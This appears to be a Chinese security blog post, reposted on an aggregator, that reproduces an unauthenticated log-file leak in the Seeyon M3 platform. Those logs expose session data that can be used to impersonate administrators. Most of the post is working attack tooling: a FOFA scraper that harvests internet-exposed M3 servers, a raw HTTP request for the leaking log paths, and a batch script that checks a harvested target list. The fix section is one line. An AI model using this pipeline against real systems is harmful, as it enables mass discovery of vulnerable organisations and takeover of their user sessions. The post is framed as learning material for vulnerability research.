(1day)致远M3 log 敏感信息泄露漏洞(Session)复现

news2024/11/25 14:34:37

前言

        系统学习web漏洞挖掘以及项目实战也有一段时间了,发现在漏洞挖掘过程中难免会碰到一些历史漏洞,来帮助自己或是提高自己挖洞和及时发现漏洞效率,于是开始创建这个专栏,对第一时间发现的1day以及历史漏洞进行复现,来让自己更加熟悉漏洞类型以及历史漏洞,方便自己在后续的项目实战中,碰到漏洞能够及时去查询和复现.

免责声明

        本文仅用于技术学习和讨论。请勿使用本文所提供的内容及相关技术从事非法活动,若利用本文提供的内容或工具造成任何直接或间接的后果及损失,均由使用者本人负责,所产生的一切不良后果均与文章作者及本账号无关。

漏洞复现信息收集

fofa搜集

title="M3-Server"

fofa信息搜集脚本

# -*- coding: utf-8 -*-

import requests
import base64
import time
from lxml import etree
import threading


def fofa_search(search_data, page_data):
    # 必须要有cookie
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0',
        'Cookie': '' # 填入自己的cookie
    }

    lock = threading.Lock()  # 创建线程锁

    def process_page(page):
        url = 'https://fofa.info/result?qbase64='
        search_worlds_base64 = str(base64.b64encode(search_data.encode("utf-8")), "utf-8")
        urls = url + search_worlds_base64 + '&page=' + str(page) + '&page_size=10'
        # print(urls)  #  打印请求的URL

        try:
            retry_count = 3
            while retry_count > 0:
                try:
                    result = requests.get(url=urls, headers=headers, timeout=10).text
                    break  # 请求成功,跳出重试循环
                except requests.RequestException as e:
                    print("请求发生异常:", e)
                    retry_count -= 1
                    if retry_count == 0:
                        print("请求重试次数已达上限,放弃请求")
                        return  # 放弃当前页面的处理

            print("正在提取第" + str(page) + "页")
            # print(result)
            soup = etree.HTML(result, etree.HTMLParser())  # 初始化生成一个XPath解析对象
            ipaddr = soup.xpath('//span[@class="hsxa-host"]/a/@href')
            print(ipaddr)
            ipaddr = '\n'.join(ipaddr)
            print(ipaddr)

            with lock:  # 使用线程锁保证写入文件的互斥性
                with open(r'url.txt', 'a+') as f:
                    print("写入文件中")
                    # f.write('页面:'+str(page)+'\n'+ipdata + '\n')
                    f.write(ipaddr + '\n')
                    f.close()

            time.sleep(0.5)  # 防止速度过快导致部分数据被略过
        except Exception as e:
            print("异常:", e)

    max_threads = 2  # 设置最大线程数量为2,超过2会导致页面爬取内容为空
    threads = []
    for page in range(1, page_data + 1):
        while len(threads) >= max_threads:
            # 等待当前线程数量降到允许的最大值以下
            time.sleep(1)
            threads = [t for t in threads if t.is_alive()]

        t = threading.Thread(target=process_page, args=(page,))
        threads.append(t)
        t.start()

    for t in threads:
        t.join()

    print("*********数据提取完成*********")


if __name__ == '__main__':
    # fofa语句, 采集页面数
    fofa_search('title="M3-Server"', 20)

一、漏洞简述

        M3—— 企业移动协同管理平台致远互联M3企业移动协同管理平台,全面覆盖各种工作场景,通过智能化的办公和业务场景融合,为企业构建新一代的移动智能工作方式。

其以下接口存在信息泄露

/mobile_portal/logs/autoLogin.log
/mobile_portal/logs/app.log
/mobile_portal/logs/requset.log

      存在未授权信息泄露,攻击者可根据泄露的session信息,伪装成通过验证的管理员/用户进行恶意操作。

二、漏洞检测poc


GET /mobile_portal/logs/autoLogin.log HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close

三、漏洞检测脚本

渗透测试人员可通过该脚本进行探测自身服务是否存在此漏洞:

poc验证脚本:

poc-exp/SeeYonM3_log_InfoLeakage.py at main · ATonysan/poc-exp · GitHubDiscuss POC and Exp. Contribute to ATonysan/poc-exp development by creating an account on GitHub.icon-default.png?t=N7T8https://github.com/ATonysan/poc-exp/blob/main/SeeYonM3_log_InfoLeakage.py

import requests
import urllib3
from urllib.parse import urljoin,quote
import argparse
import ssl
ssl._create_default_https_context = ssl._create_unverified_context
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def read_file(file_path):
    with open(file_path, 'r') as file:
        urls = file.read().splitlines()
    return urls

def check(url):
    url = url.rstrip("/")
    info_paths = ['/mobile_portal/logs/autoLogin.log','/mobile_portal/logs/app.log','/mobile_portal/logs/requset.log']

    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
    }
    for path in info_paths:
        target = urljoin(url, path)
        try:
            response = requests.get(target, verify=False, headers=headers, timeout=15)
            if response.status_code == 200 and 'INFO' in response.text:
                    print(f"\033[31mDiscovered:{target}: YSeeYonM3_log_InfoLeakage!\033[0m")
                    return True
        except Exception as e:
            pass



if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", help="URL")
    parser.add_argument("-f", "--txt", help="file")
    args = parser.parse_args()
    url = args.url
    txt = args.txt
    if url:
        check(url)
    elif txt:
        urls = read_file(txt)
        for url in urls:
            check(url)
    else:
        print("help")

单个url检测漏洞:

python SeeYonM3_log_InfoLeakage.py -u url

批量检测:

python SeeYonM3_log_InfoLeakage.py -f url.txt

四、修复

官方已更新补丁,请升级至最新版本。

官网地址:https://www.seeyon.com/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1651299.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Linux】17. 进程间通信 --- 管道

1. 什么是进程间通信(进程间通信的目的) 数据传输:一个进程需要将它的数据发送给另一个进程 资源共享:多个进程之间共享同样的资源。 通知事件:一个进程需要向另一个或一组进程发送消息,通知它(它们)发生了…

上市公司财务困境模型​MertonDD、OScore、RLPM、ZScore四种模型​(1992-2022年)

01、数据介绍 上市公司财务困境模型是用于预测和评估上市公司是否可能陷入财务困境的一种模型。这个模型通常基于一系列的财务比率和其他相关变量,通过统计分析方法来构建。​ 数据名称:上市公司财务困境模型MertonDD、OScore、RLPM、ZScore五种模型 …

62-USB转JTAG or SPI电路设计

视频链接 USB转JTAG or SPI电路设计01_哔哩哔哩_bilibili USB 转 JTAG or SPI电路设计 第07课---USB转串口电路设计第 34~40课---USB硬件电路设计 第22课---SPI Flash电路设计 第31课---JTAG电路设计(JLINK&XILINX&ALTERA) 第…

CSS学习笔记之基础教程(一)

1、CSS语法 CSS 规则集(rule-set)由选择器和声明块组成: 选择器指向您需要设置样式的 HTML 元素。 声明块包含一条或多条用分号分隔的声明。 每条声明都包含一个 CSS 属性名称和一个值,以冒号分隔。 多条 CSS 声明用分号分隔…

工厂模式应用实例

引言 设计模式概念 设计模式(Design Pattern)的官方概念可以表述为:在软件设计中,设计模式是一套被反复使用、多数人知晓的、经过分类编目的、代码设计经验的总结。它是针对特定问题或特定场景的解决方案,是一种经过…

flutter报错

组件相关 type ‘List’ is not a subtype of type ‘List’ children: CardList.map((item) > Container( 加上 *** < Widget>*** 正常 type ‘(dynamic, dynamic) > Container’ is not a subtype of type ‘(CardType) > Widget’ of ‘f’ children: CardL…

OpenCV使用 Kinect 和其他兼容 OpenNI 的深度传感器(75)

返回:OpenCV系列文章目录&#xff08;持续更新中......&#xff09; 上一篇:使用 OpenCV 创建视频(74) 下一篇 :OpenCV系列文章目录&#xff08;持续更新中......&#xff09; ​ 目的&#xff1a;​ 通过 VideoCapture 类支持与 OpenNI 兼容的深度传感器&#xff08;Kinect…

Ps 滤镜:纤维

Ps菜单&#xff1a;滤镜/渲染/纤维 Filter/Render/Fibers 纤维 Fibers滤镜可以创建类似于纤维或织物的纹理效果&#xff0c;用于模拟自然或合成材料的质感和外观。 “纤维”滤镜使用前景色和背景色来生成纤维效果&#xff0c;通过算法模拟纤维束的编织或交织。“差异”滑块允许…

uniapp离线在Xcode上打包后提交审核时提示NSUserTrackingUsageDescription的解决方法

uniapp离线在Xcode上打包后提交审核时提示NSUserTrackingUsageDescription的解决方法 问题截图&#xff1a; 亲测有效的方法 方法一&#xff1a; 选择通过uniapp的开发工具Hbuilder来进行在线打包&#xff0c;取消默认勾选的以下选项。 然后进行在线打包就不会存在提交审…

怎么在家访问公司内网?

在当前的疫情情况下&#xff0c;越来越多的公司开始允许员工在家办公&#xff0c;这就需要解决一个问题&#xff1a;如何在家访问公司的内网资源呢&#xff1f;今天我将介绍一种解决方案——使用【天联】组网&#xff0c;它具有许多优势。 【天联】组网的优势 无网络限制&#…

Unity 性能优化之UI和模型优化(九)

提示&#xff1a;仅供参考&#xff0c;有误之处&#xff0c;麻烦大佬指出&#xff0c;不胜感激&#xff01; 文章目录 前言一、选择UI二、UGUI的优化1.Raycast Target2.UI控件的重叠3.TextMeshPro 二、模型优化1.Model选项卡Mesh CompressionRead/Write Enabled设置Optimize Ga…

「Dasha and Photos」Solution

简述题意 给定一个 n m n \times m nm 的方格&#xff0c;每个格子里有一个小写英文字母。 现在你有 k k k 个 n m n \times m nm 的方格&#xff0c;这些方格都是给定方格的基础上将左上角为 ( a i , b i ) (a_i,b_i) (ai​,bi​)&#xff0c;右下角为 ( c i , d i ) …

AI原生实践:测试用例创作探索

测试用例作为质量保障的核心&#xff0c;影响着研发-测试-发布-上线的全过程&#xff0c;如单元测试用例、手工测试用例、接口自动化用例、UI 自动化用例等&#xff0c;但用例撰写的高成本尤其是自动化用例&#xff0c;导致了用例的可持续积累、更新和迭代受到非常大制约。长久…

深入理解Java虚拟机(JVM)

引言&#xff1a; Java虚拟机&#xff08;JVM&#xff09;是Java平台的核心组件&#xff0c;它负责将Java字节码转换成平台特定的机器指令&#xff0c;并在相应的硬件和操作系统上执行。JVM的引入使得Java语言具有“一次编写&#xff0c;到处运行”的跨平台特性。本文将深入探…

安装nginx-1.25.5与ngx_http_headers_more_filter_module模块

#下载nginx的代码 curl -O http://nginx.org/download/nginx-1.25.5.tar.gz #下载headers-more-nginx-module代码 git clone https://github.com/openresty/headers-more-nginx-module#解压 tar -xzf nginx-1.25.5.tar.gzcd nginx-1.25.5#--add-dynamic-module 下载下来的目录 …

简单两步将Lllama、Qwen等开源大模型安装到自己的电脑上

现在已经有非常多优秀的开源大语言模型了&#xff0c;比如Command R、Mistral、Qwen、MiniMax、Baichuan、Phi3等&#xff0c;其中Lllama3和Qwen等已经和GPT4的性能比较接近了。 如果能把这些免费的开源大模型部署到本地电脑或手机上&#xff0c;可以完全自由的使用&#xff0…

前后端分离项目中的一些疑惑

1、前后端分离项目&#xff0c;浏览器发起请求后&#xff0c;请求的是前端服务器还是后端服务器&#xff1f; 在前后端分离的项目中&#xff0c;当浏览器发起请求时&#xff0c;它首先会请求的是前端服务器。 前后端分离的工作流程大致如下&#xff1a; 用户在浏览器中输入网…

[Algorithm][多源BFS][矩阵][飞地的数量][地图中的最高点][地图分析] + 多源BFS原理讲解 详细讲解

目录 0.原理讲解1.矩阵1.题目链接2.算法原理详解3.代码实现 2.飞地的数量1.题目链接2.算法原理详解3.代码实现 3.地图中的最高点1.题目链接2.算法原理详解3.代码实现 4.地图分析1.题目链接2.算法原理详解3.代码实现 0.原理讲解 注意&#xff1a;只要是用**BFS解决的最短路径问题…

淘宝数据分析——Python爬虫模式♥

大数据时代&#xff0c; 数据收集不仅是科学研究的基石&#xff0c; 更是企业决策的关键。 然而&#xff0c;如何高效地收集数据 成了摆在我们面前的一项重要任务。 本文将为你揭示&#xff0c; 一系列实时数据采集方法&#xff0c; 助你在信息洪流中&#xff0c; 找到…

每日OJ题_贪心算法三③_力扣45. 跳跃游戏 II(dp解法+贪心解法)

目录 力扣45. 跳跃游戏 II 解析代码1_动态规划 解析代码2_贪心 力扣45. 跳跃游戏 II 45. 跳跃游戏 II 难度 中等 给定一个长度为 n 的 0 索引整数数组 nums。初始位置为 nums[0]。 每个元素 nums[i] 表示从索引 i 向前跳转的最大长度。换句话说&#xff0c;如果你在 num…